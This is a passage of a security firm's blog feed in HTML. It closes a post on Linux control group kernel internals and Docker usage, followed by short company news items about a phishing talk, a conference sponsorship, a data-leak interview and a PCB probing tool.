href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Block&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">I/O&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Memory,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">CPU,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Freezer&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Device&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;h2 id="cgroup-kernel-view">cgroup Kernel View&lt;/h2>
&lt;p>In the kernel source code, control groups are represented by the &lt;code>cgroup&lt;/code> structure defined in &lt;code>linux/cgroup-defs.h&lt;/code>. Every &lt;code>cgroup&lt;/code> includes a unique ID, starting from the value &lt;code>1&lt;/code>, always using the smallest value possible. When applying changes to the control group hierarchy, checks have to be performed on a regular basis to determine whether a group is a descendant of another group. To avoid the requirement to traverse in the control group tree, an integer value &lt;code>level&lt;/code> is present to solve this problem using numerical comparisons.&lt;/p>
&lt;p>The logic to initialize a control group is implemented in &lt;code>cgroup_init&lt;/code> (&lt;code>kernel/cgroup/cgroup.c&lt;/code>):&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-c" data-lang="c">[...]
BUG_ON(cgroup_setup_root(&amp;amp;cgrp_dfl_root, &lt;span style="color:#3677a9">0&lt;/span>, &lt;span style="color:#3677a9">0&lt;/span>));
[...]
for_each_subsys(ss, ssid) {
[...]
cgroup_init_subsys(ss, &lt;span style="color:#24909d">false&lt;/span>);
[...]
css_populate_dir(init_css_set.subsys[ssid]);
[...]
}
[...]
WARN_ON(sysfs_create_mount_point(fs_kobj, &lt;span style="color:#ed9d13">&amp;#34;cgroup&amp;#34;&lt;/span>));
WARN_ON(register_filesystem(&amp;amp;cgroup_fs_type));
WARN_ON(register_filesystem(&amp;amp;cgroup2_fs_type));
WARN_ON(!proc_create_single(&lt;span style="color:#ed9d13">&amp;#34;cgroups&amp;#34;&lt;/span>, &lt;span style="color:#3677a9">0&lt;/span>, &lt;span style="color:#24909d">NULL&lt;/span>,
proc_cgroupstats_show));
[...]
&lt;/code>&lt;/pre>&lt;/div>&lt;p>The function &lt;code>cgroup_setup_root&lt;/code> initially sets up the control group root which is represented by a &lt;code>cgroup_root&lt;/code> structure. Internally this includes the &lt;code>cgroup&lt;/code> structure discussed above. The setup routine is also responsible for creating the &lt;code>kernfs&lt;/code> - the virtual filesystem exporting the files residing in &lt;code>/sys/fs/cgroup&lt;/code>. After that, all control group subsystems are being enabled. With &lt;code>init_and_link_css&lt;/code> called in &lt;code>cgroup_init_subsys&lt;/code>, pointers to the respective children, siblings and parent nodes are created. The abbreviation &lt;code>css&lt;/code> stands for &lt;em>cgroup subsystem state&lt;/em> in this context and is being used to map a specific thread to a set of control groups [1]. The function &lt;code>css_populate_dir&lt;/code> creates a virtual filesystem for each controller in the &lt;code>kernfs&lt;/code> created before. Finally, the &lt;code>kernfs&lt;/code> is mounted in &lt;code>sysfs_create_mount_point&lt;/code>. For each control group version a filesystem is registered and the virtual &lt;code>/proc/cgroups&lt;/code> file is being created.&lt;/p>
&lt;p>There exists a global array of all subsystems, called &lt;code>cgroup_subsys&lt;/code> which is defined using an &lt;code>include&lt;/code> directive for &lt;code>cgroup_subsys.h&lt;/code> as can be seen below. This is the file holding all available controllers supported by the kernel.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">structure cgroup_subsys *cgroup_subsys[] = {
#include &amp;lt;linux/cgroup_subsys.h&amp;gt;
};
&lt;/code>&lt;/pre>&lt;/div>&lt;p>The controllers are implemented using another kernel structure: &lt;code>cgroup_subsys&lt;/code>. This structure provides a common interface for all implemented resource controllers. Another common interface for all subsystems is the &lt;code>cftype_ss&lt;/code> structure which enables all controllers to define own virtual files to export data. For example the &lt;code>cpuset&lt;/code> controller exports these files [2]:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel/cg_export_hu0ea97ca2dd04da720f84d7660742a269_67580_320x0_resize_q95_h2_lanczos.webp">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel/cg_export_hu0ea97ca2dd04da720f84d7660742a269_67580_640x0_resize_q95_h2_lanczos.webp">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel/cg_export_hu0ea97ca2dd04da720f84d7660742a269_67580_1280x0_resize_q95_h2_lanczos.webp">
&lt;img
src="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel/cg_export.webp"
width="1554"
height="797"
alt="Control Group Exports"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Control Group Exports&lt;/figcaption>
&lt;/figure>
&lt;p>Similar to the implementation of namespaces in the kernel, the &lt;code>task_struct&lt;/code> structure also holds information regarding control groups [2]:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel/cg_struct_hu87d5b4b2464362cb4737080ced71bcf0_40800_320x0_resize_q95_h2_lanczos.webp">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel/cg_struct_hu87d5b4b2464362cb4737080ced71bcf0_40800_640x0_resize_q95_h2_lanczos.webp">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel/cg_struct_hu87d5b4b2464362cb4737080ced71bcf0_40800_1280x0_resize_q95_h2_lanczos.webp">
&lt;img
src="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel/cg_struct.webp"
width="1447"
height="561"
alt="Control Group Structures"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Control Group Structures&lt;/figcaption>
&lt;/figure>
&lt;p>As can be observed in the figure above, the &lt;code>css_set&lt;/code> structure associates a set of control group subsystems to a task. Every task with the same &lt;em>cgroup&lt;/em> subsystem set has a pointer to the same &lt;code>css_set&lt;/code>. This is being used to save space in the task structure which effectively speeds up &lt;code>fork&lt;/code> calls.&lt;/p>
&lt;p>Internally there&amp;rsquo;s a &lt;code>MxN&lt;/code> relationship between &lt;code>cgroup&lt;/code>s and &lt;code>css_set&lt;/code>s. To link the kernel structures efficiently, the following link structure is in place:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel/cg_struct_links_hu443306da04f5b4004ceca4aecacc3754_30600_320x0_resize_q95_h2_lanczos.webp">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel/cg_struct_links_hu443306da04f5b4004ceca4aecacc3754_30600_640x0_resize_q95_h2_lanczos.webp">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel/cg_struct_links_hu443306da04f5b4004ceca4aecacc3754_30600_1280x0_resize_q95_h2_lanczos.webp">
&lt;img
src="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel/cg_struct_links.webp"
width="1163"
height="828"
alt="Control Group Structure Links"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Control Group Structure Links&lt;/figcaption>
&lt;/figure>
&lt;p>For each process, there exists exactly one &lt;em>leader&lt;/em> thread whose thread ID is equal to the PID of the whole process. It&amp;rsquo;s possible that a &lt;code>css_set&lt;/code> is being linked to multiple control groups because every single task can be present in various &lt;em>cgroups&lt;/em>. For this reason and to be able to traverse the link structure the other way around, beginning from a &lt;code>cgroup&lt;/code>, the linking structure &lt;code>cgrp_cset_link&lt;/code> associates both kernel structures. The labels of the arrows are to be interpreted as UML associations. As shown above, there also exist multiple shortcuts in the structure linkage to allow an efficient direct access to associated structures without having to traverse multiple lists. For example the link from &lt;code>css_set&lt;/code> to &lt;code>cgroup&lt;/code> bypasses the linking structure in between.&lt;/p>
&lt;h2 id="usage-in-containerization">Usage in Containerization&lt;/h2>
&lt;p>Container engines like LXC and Docker support the configuration on control group settings. Similar to the configuration of namespaces, it&amp;rsquo;s possible to supply command line parameters to the Docker CLI while configuration files are being used for LXC.&lt;/p>
&lt;p>When starting a Docker container without any additional control group configuration, a &lt;code>docker&lt;/code> group is created for each controller type mentioned in this chapter using permissive default values. Additional configuration can then be applied after starting a container using the mechanisms that have already been discussed. Furthermore the command line options allow &lt;em>cgroup&lt;/em> configuration without the requirement of interacting with the virtual control group filesystem. For example, the amount of CPUs a container may use is being configured by passing a numerical value along with the &lt;code>--cpus&lt;/code> option. Another convenient feature is the ability to integrate a container into an existing parent control group. Therefore control groups are able to be prepared in order to use it as parent group for a container later on. With the ability to use persistent &lt;em>cgroups&lt;/em>, containers can be restricted in an automated way upon booting a machine by assigning a parent control group.&lt;/p>
&lt;h2 id="credits">Credits&lt;/h2>
&lt;p>Credits: The elaboration and software project associated to this subject are results of a Master’s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://lwn.net/Articles/606925/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">1&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/606925/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/606925/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/606925/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">groups,&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/606925/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">part&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/606925/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">6:&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/606925/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">A&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/606925/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">look&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/606925/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">under&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/606925/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/606925/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">hood&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.cl.cam.ac.uk/~lc525/files/Linux_Containers.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2&lt;/span>
&lt;/a>&lt;a
href="https://www.cl.cam.ac.uk/~lc525/files/Linux_Containers.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://www.cl.cam.ac.uk/~lc525/files/Linux_Containers.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.cl.cam.ac.uk/~lc525/files/Linux_Containers.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Containers:&lt;/span>
&lt;/a>&lt;a
href="https://www.cl.cam.ac.uk/~lc525/files/Linux_Containers.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Basic&lt;/span>
&lt;/a>&lt;a
href="https://www.cl.cam.ac.uk/~lc525/files/Linux_Containers.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Concepts&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.pexels.com/de-de/foto/bunt-business-container-einfuhren-163726/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Title&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/de-de/foto/bunt-business-container-einfuhren-163726/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Image&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul></description></item><item><title>SCHUTZWERK holds a talk about phishing attacks at the 10. Ulmer Logistiktag</title><link>https://www.schutzwerk.com/en/blog/talk-about-phishing-attacks-at-10th-ulm-logistics-day/</link><author>SCHUTZWERK GmbH</author><pubDate>Fri, 20 May 2022 13:00:00 +0100</pubDate><category>news</category><category>event</category><category>talk</category><description>
&lt;p>Christoph Wolfert, Managing Consultant at SCHUTZWERK GmbH, was a guest at the 10. Ulmer Logistiktag on 12th of May 2022 to give insights to the topic of phishing attacks and the threats for (logistics) companies.&lt;/p>
&lt;p>Phishing attacks are omnipresent and currently one of the most spread variants to attack companies. Also logistics companies are affected. Due to their strong dependency on IT (e. g. in the field of warehouse management, dispatching and transport) phishing attacks are always on the agenda.&lt;/p>
&lt;p>Christoph Wolfert focused within his talk on so called spear phishing attacks via email. In this attack variant the victims are targeted, in contrast to a spread attack. Based on a successful attack, the IT-System of the victim is mostly used as a so called jump host to execute further attacks.&lt;/p>
&lt;p>Primary objective of the attackers is e. g. to gain access on sensitive company related data or to encrypt data in order to extort ransom money (Ransomware).&lt;/p>
&lt;p>Besides an example demo of a spear phishing attack via email, the participants also got important recommendations how to protect against these kind of attacks.&lt;/p>
&lt;p>Within the following Q&amp;amp;A session and the lunch break, there was enough time to exchange on Information-, IT- and cyber security topics.&lt;/p>
&lt;p>Further information are available on the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.ulm.ihk24.de/servicemarken/presse/pressemitteilungen/jahr2022/neuer-inhalt10-logistiktag-2022-5542708"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">IHK&lt;/span>
&lt;/a>&lt;a
href="https://www.ulm.ihk24.de/servicemarken/presse/pressemitteilungen/jahr2022/neuer-inhalt10-logistiktag-2022-5542708"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">website&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p></description></item><item><title>BSides Munich onsite again</title><link>https://www.schutzwerk.com/en/blog/bsides-munich-onsite-again/</link><author>SCHUTZWERK GmbH</author><pubDate>Sun, 08 May 2022 13:00:00 +0100</pubDate><category>news</category><category>event</category><category>sponsor</category><description>
&lt;p>On May 15, 2022, BSides Munich will start with workshops, followed by interesting talks the next day!
After during the last two years all onsite events either had to be cancelled, were only feasible under difficult conditions or were planned virtually, we SCHUTZWERKers are happy that this year a bit of normality has returned.
As a bronze sponsor, we are therefore happy to support &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://2022.bsidesmunich.org/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">BSides&lt;/span>
&lt;/a>&lt;a
href="https://2022.bsidesmunich.org/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Munich&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, which will once again be held as an onsite conference in Munich!&lt;/p>
&lt;p>We are looking forward to both days and wish all participants a lot of fun!&lt;/p></description></item><item><title>SCHUTZWERK gives an interview for the newspaper regarding the data leakage at Legoland</title><link>https://www.schutzwerk.com/en/blog/interview-for-newspaper-regarding-data-leakage-at-legoland/</link><author>SCHUTZWERK GmbH</author><pubDate>Fri, 15 Apr 2022 13:00:00 +0100</pubDate><category>news</category><description>
&lt;p>SCHUTZWERK answers important questions for Südwestpresse (SWP) newspaper regarding the data leakage at Legoland with thousands of affected customers.&lt;/p>
&lt;p>On 12th of April 2022 it was published (see the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.heise.de/news/Datenleck-im-Legoland-Reisedaten-tausender-Kunden-seit-2015-betroffen-6668852.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">announcement&lt;/span>
&lt;/a>&lt;a
href="https://www.heise.de/news/Datenleck-im-Legoland-Reisedaten-tausender-Kunden-seit-2015-betroffen-6668852.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.heise.de/news/Datenleck-im-Legoland-Reisedaten-tausender-Kunden-seit-2015-betroffen-6668852.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://www.heise.de/news/Datenleck-im-Legoland-Reisedaten-tausender-Kunden-seit-2015-betroffen-6668852.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">heise-online-Redaktion&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
), that for half a year the booking history of every customer was accessible, caused by the introduction of a new booking system. The booking system was turned off and the Data Protection Authority was informed, but important questions remain unanswered.
Christoph Wolfert, Managing Consultant and Date Protection Officer at SCHUTZWERK GmbH, clarifies within the Südwestpresse (SWP) interview the most important questions.&lt;/p>
&lt;p>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.swp.de/lokales/neu-ulm/legoland-datenleck-datenpanne-datenschutz-risiko-gefahr-guenzburg-ulm-63905741.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Link&lt;/span>
&lt;/a>&lt;a
href="https://www.swp.de/lokales/neu-ulm/legoland-datenleck-datenpanne-datenschutz-risiko-gefahr-guenzburg-ulm-63905741.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.swp.de/lokales/neu-ulm/legoland-datenleck-datenpanne-datenschutz-risiko-gefahr-guenzburg-ulm-63905741.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://www.swp.de/lokales/neu-ulm/legoland-datenleck-datenpanne-datenschutz-risiko-gefahr-guenzburg-ulm-63905741.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Interview&lt;/span>
&lt;/a>&lt;a
href="https://www.swp.de/lokales/neu-ulm/legoland-datenleck-datenpanne-datenschutz-risiko-gefahr-guenzburg-ulm-63905741.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.swp.de/lokales/neu-ulm/legoland-datenleck-datenpanne-datenschutz-risiko-gefahr-guenzburg-ulm-63905741.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://www.swp.de/lokales/neu-ulm/legoland-datenleck-datenpanne-datenschutz-risiko-gefahr-guenzburg-ulm-63905741.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">online&lt;/span>
&lt;/a>&lt;a
href="https://www.swp.de/lokales/neu-ulm/legoland-datenleck-datenpanne-datenschutz-risiko-gefahr-guenzburg-ulm-63905741.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">version&lt;/span>
&lt;/a>&lt;a
href="https://www.swp.de/lokales/neu-ulm/legoland-datenleck-datenpanne-datenschutz-risiko-gefahr-guenzburg-ulm-63905741.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(readable&lt;/span>
&lt;/a>&lt;a
href="https://www.swp.de/lokales/neu-ulm/legoland-datenleck-datenpanne-datenschutz-risiko-gefahr-guenzburg-ulm-63905741.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://www.swp.de/lokales/neu-ulm/legoland-datenleck-datenpanne-datenschutz-risiko-gefahr-guenzburg-ulm-63905741.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">swp&amp;#43;&lt;/span>
&lt;/a>&lt;a
href="https://www.swp.de/lokales/neu-ulm/legoland-datenleck-datenpanne-datenschutz-risiko-gefahr-guenzburg-ulm-63905741.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">customers)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;p>The shortened interview has also been published in the print version of Saturday, April 16th, 2022 on page 25.&lt;/p></description></item><item><title>SecForCARs Demo Video of our PROBoter released</title><link>https://www.schutzwerk.com/en/blog/proboter-video/</link><author>Dr. Bastian Könings</author><pubDate>Wed, 02 Feb 2022 14:05:00 +0100</pubDate><category>proboter</category><category>automotive security</category><category>embedded security</category><category>secforcars</category><category>toolrelease</category><category>news</category><description>
&lt;p>The PROBoter is a modular, self-calibrating probing machine to support PCB analysis tasks in penetration tests of embedded systems. The video of the PROBoter demonstrates its four main contributions: 1) The automatic visual detection of components and contact points on a PCB, 2) the automatic probing of contact points for net reversing and signal detection, 3) the mapping of signal lines to given bus protocols, and 4) the support in identification of potential attack vectors.&lt;/p>
&lt;p>The list below gives an overview of the topics covered in the PROBoter blog post
series. Links will be updated as soon as the corresponding parts are being
released.&lt;/p>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">I:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">A&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">platform&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">automated&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">PCB&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">II:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">hardware&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">platform&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">III:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Visual&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">PCB&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">with&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Neural&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Networks&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
